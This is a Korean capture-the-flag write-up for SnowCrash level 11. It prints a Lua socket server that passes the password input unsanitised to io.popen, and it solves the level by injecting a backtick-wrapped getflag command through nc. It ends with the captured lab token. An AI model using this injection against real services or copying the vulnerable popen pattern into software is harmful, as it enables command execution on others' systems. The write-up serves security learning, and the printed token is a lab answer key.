level11

태그	Lua Shell
상태	완료

풀이과정
- 겪었던 어려움
- 풀이과정
  - lua
- 정답

출처

풀이과정

겪었던 어려움

- lua 라는 프로그래밍 언어를 처음 봄...
- 백틱과 따옴표 구분해서 사용하는 것이 자유롭지 않음..

풀이과정

lua

주어진 level11.lua를 cat으로 읽으면 아래와 같이 나온다.

```
#!/usr/bin/env lua
-- 이 행은 이 스크립트가 Lua 스크립트임을 나타냅니다.

local socket = require("socket")
-- "socket" 모듈을 로드하여 소켓 프로그래밍을 할 수 있도록 합니다.

local server = assert(socket.bind("127.0.0.1", 5151))
-- 로컬호스트의 5151번 포트에 서버 소켓을 바인드합니다.
assert 함수는 바인딩이 성공했는지 확인합니다.

function hash(pass)
-- Command Injection 취약점:
-- hash 함수에서 사용자 입력(pass)을 그대로 echo 명령에 전달하고 있습니다.
-- 이는 사용자가 악의적인 명령을 주입할 수 있는
Command Injection 취약점을 야기합니다.
-- 공격자는 이를 이용해 임의의 명령을 실행할 수 있습니다.
  prog = io.popen("echo "..pass.." | sha1sum", "r")
  -- 입력받은 패스워드를 echo 명령으로 출력하고,
```

```
  sha1sum 명령으로 SHA-1 해시값을 계산합니다.
  data = prog:read("*all")
  -- sha1sum 명령의 출력 결과를 data 변수에 저장합니다.
  prog:close()
  -- 프로세스를 닫습니다.

  data = string.sub(data, 1, 40)
  -- 해시값의 처음 40자만 취합니다.

  return data
end


while 1 do
  -- 무한 루프를 시작합니다.
  local client = server:accept()
  -- 클라이언트의 연결을 수락합니다.
  client:send("Password: ")
  -- 클라이언트에게 "Password: "를 보냅니다.
  client:settimeout(60)
  -- 클라이언트의 입력 대기 시간을 60초로 설정합니다.
  local l, err = client:receive()
  -- 클라이언트의 입력을 받습니다. l에는 입력 값이, err에는 에러 메시지가 저장됩니다.
  if not err then
      print("trying " .. l)
      -- 입력받은 패스워드를 출력합니다.
      local h = hash(l)
      -- 입력받은 패스워드의 SHA-1 해시값을 계산합니다.

      if h ~= "f05d1d066fb246efe0c6f7d095f909a7a0cf34a0" then
          client:send("Erf nope..\n");
      else
          client:send("Gz you dumb*\n")
      end
      -- 계산한 해시값이 미리 정의된 값과 일치하면 "Gz you dumb*"를,
      그렇지 않으면 "Erf nope.."를 클라이언트에게 보냅니다.

  end

  client:close()
  -- 클라이언트와의 연결을 닫습니다.
end
```

위 스크립트에서 해시 hash함수 내부에서 io.popen 함수가 bash 명령을 실행하고 있으며 입력이 명령줄 인수로 전송되고 있음을 알 수 있기 때문에 따라서 이를 악용할 수 있다.

이 프로그램을 실행시키면 `address already in use` 라는 에러와 함께 에러가 뜨는데, 이를 통해서 5151포트에서 이미 쓰고 있다는 것을 알 수 있다. nc 명령어를 이용해서 접근하여 비밀번호를 `` `getflag > /tmp/flag` `` 로 입력하면 flag 값을 알 수 있다.

정답

```
level11@SnowCrash:~$ nc localhost 5151
Password: `getflag > /tmp/flag`
Erf nope..
level11@SnowCrash:~$ cat /tmp/flag
Check flag.Here is your token : fa6v5ateaw21peobuub8ipe6s
```

`“fa6v5ateaw21peobuub8ipe6s”`

출처

https://ko.wikipedia.org/wiki/루아_(프로그래밍_언어)